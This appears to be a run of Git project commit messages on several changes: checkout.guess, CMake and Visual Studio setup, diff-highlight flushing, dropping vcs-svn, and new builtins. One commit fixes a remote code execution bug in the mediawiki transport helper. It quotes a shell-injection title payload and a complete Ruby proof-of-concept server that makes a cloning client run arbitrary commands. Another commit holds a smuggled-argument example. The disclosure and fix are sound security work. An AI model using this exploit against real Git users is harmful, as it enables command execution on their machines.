"git checkout" learned to use checkout.guess configuration variable
and enable/disable its "--[no-]guess" option accordingly.
* dl/checkout-guess:
checkout: learn to respect checkout.guess
Documentation/config/checkout: replace sq with backticks
|
|
The current behavior of git checkout/switch is that --guess is currently
enabled by default. However, some users may not wish for this to happen
automatically. Instead of forcing users to specify --no-guess manually
each time, teach these commands the checkout.guess configuration
variable that gives users the option to set a default behavior.
Teach the completion script to recognize the new config variable and
disable DWIM logic if it is set to false.

It is a lot more convenient to use than having to specify the
configuration in CMake manually (does not matter whether using the
command-line or CMake's GUI).
While at it, recommend using `contrib/buildsystems/out/` as build
directory also in the part that talks about running CMake manually.

The idea of having CMake support in Git's source tree is to enable
contributors on Windows to start contributing with little effort. To
that end, we just added some sensible defaults that will let users open
the worktree in Visual Studio and start building.
This expects the dependencies (such as zlib) to be available already,
though. If they are not available, we expect the user to run
`compat/vcbuild/vcpkg_install.bat`.
Rather than requiring this step to be manual, detect the situation and
run it as part of the CMake configuration step.
Note that this obviously only applies to the scenario when we want to
compile in Visual Studio (i.e. with MS Visual C), not with GCC.
Therefore, we guard this new code block behind the `MSVC` conditional.
This concludes our journey to make it as effortless as possible to start
developing Git in Visual Studio: all the developer needs to do is to
clone Git's repository, open the worktree via `File>Open>Folder...` and
wait for CMake to finish configuring.

Contrary to Unix-ish platforms, the dependencies' shared libraries are

On Windows, we use the `vcpkg` project to manage the dependencies, via
`compat/vcbuild/`. Let's make sure that these dependencies are found by

This is needed because we are about to recommend loading the Git

path used by CMake manually).

By default, Git for Windows does not install its `sh.exe` into the
`PATH`. However, our current `CMakeLists.txt` expects to find a shell
interpreter in the `PATH`.
So let's fall back to looking in the default location where Git for
Windows _does_ install a relatively convenient `sh.exe`:
`C:\Program Files\Git\bin\sh.exe`

In both _git_checkout and _git_switch a new "prevword" variable were
introduced, however the "prev" variable already contains the last word.
The "prevword" variable is replaced with "prev", and the case is moved
to the beginning of the function, like it's done in many other places
(e.g. _git_commit). Also the indentaion of the case is fixed.

"diff-highlight" (in contrib/) had a logic to flush its output upon
seeing a blank line but the way it detected a blank line was broken.
* jk/diff-highlight-blank-match-fix:
diff-highlight: correctly match blank lines for flush
|
|
We try to flush the output from diff-highlight whenever we see a blank
line. That lets you see the output for each commit as soon as it is
generated, even if Git is still chugging away at a diff, or traversing
to find the next commit.
However, our "blank line" match checks length($_). That won't ever be
true, because we haven't chomped the line ending. As a result, we never
flush. Instead, let's use a simple regex which handles line endings in
with the end-of-line marker.
This has been broken since the initial version in 927a13fe87 (contrib:
add diff highlight script, 2011-10-18). Probably nobody noticed because:
- most output is big enough, or comes fast enough, that it flushes
anyway. And it can be difficult to notice the difference between
"show a commit, then pause" and "pause, then show two commits". I
only noticed because I was viewing "git log" output on a repo with a
very slow textconv filter.
- if stdout is going to the terminal (and not another pager like
less), then the flush isn't necessary. So any manual testing would
show it appearing to work.
You can easily see the difference with something like:
echo '* diff=slow' >>.gitattributes
git -c diff.slow.textconv='sleep 1; cat' \
-c pager.log='diff-highlight | less' \
log -p
That should generate one commit every second or so (more if it touches
multiple files), but without this patch it waits for many seconds before
generating several pages of output.

Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:
sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'
I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).
But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.

Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.
We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.
This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.

Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.
The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.
As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.
This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.
While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)
* Use MediaWiki's own defaults where possible, e.g. before we'd name
the database "wikidb.sqlite", now we'll simply use whatever name
MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
directory name the SQLite file will be dropped into, not the full
path.
* Put all of our database & download assets into a new "mediawiki/"
folder. This makes it easier to reason about as the current &
template "backup" database the tests keep swapping around live
next to each other.
This'll also prevent future potential breakage as there isn't a
single SQLite database. MediaWiki also creates a job queue
database and a couple of cache databases. In practice it seems we
got away with not resetting these when we reset the main database,
but it's the sort of thing that could break in the future (reset,
main store doesn't have the article, but the cache does).
* The "delete" function now only deletes the MediaWiki installation
& database, not the downloaded .tar.gz file. This makes us
friendlier to a developer on a slow connection.

The use of the encoding pragma has been a hard error since Perl
5.18 (released in 2013).
What this script really wanted to do was to decode @ARGV and write out
some files with the UTF-8 PerlIO layer. Let's just do that explicitly
instead.
This explicitly does not retain the previous UTF-8 semantics of the
script. The "encoding" pragma had all sorts of global effects (program
text being UTF-8, stdin/stdout etc.). But the only thing that was
required was decoding @ARGV and writing out UTF-8 data, which is
currently facilitated with the "open" pragma.

Using test_cmp has different semantics since the "-b" option to diff
causes it to ignore whitespace, but in these cases the use of "-b" was
just meaningless boilerplate. The desired semantics here are to
compare "git log" lines with know-good data, so we don't want to

The code in vcs-svn was started in 2010 as an attempt to build a

have been zero mentions of that on the mailing list since 2013, and even
that includes the phrase "you might need to hack a bit to get it working
properly"[1]).
We also ship contrib/svn-fe, which builds on the vcs-svn work. However,
it does not seem to build out of the box for me, as the link step misses
some required libraries for using libgit.a. Curiously, the original
build breakage bisects for me to eff80a9fd9 (Allow custom "comment
char", 2013-01-16), which seems unrelated. There was an attempt to fix
it in da011cb0e7 (contrib/svn-fe: fix Makefile, 2014-08-28), but on my
system that only switches the error message.
So it seems like the result is not really usable by anybody in practice.
It would be wonderful if somebody wanted to pick up the topic again, and
potentially it's worth carrying around for that reason. But the flip
side is that people doing tree-wide operations have to deal with this
code. And you can see the list with (replace "HEAD" with this commit as
appropriate):
{
echo "--"
git diff-tree --diff-filter=D -r --name-only HEAD^ HEAD
} |
git log --no-merges --oneline e99d012a6bc.. --stdin
which shows 58 times somebody had to deal with the code, generally due
to a compile or test failure, or a tree-wide style fix or API change.
Let's drop it and let anybody who wants to pick it up do so by
resurrecting it from the git history.
As a bonus, this also reduces the size of a stripped installation of Git
from 21MB to 19MB.

There's no reason that git-fast-import benefits from being a separate
binary. And as it links against libgit.a, it has a non-trivial disk
footprint. Let's make it a builtin, which reduces the size of a stripped
installation from 22MB to 21MB.

There's no reason that bugreport has to be a separate binary. And since
it links against libgit.a, it has a rather large disk footprint. Let's
make it a builtin, which reduces the size of a stripped installation
from 24MB to 22MB.
This also simplifies our Makefile a bit. And we can take advantage of
builtin niceties like RUN_SETUP_GENTLY.
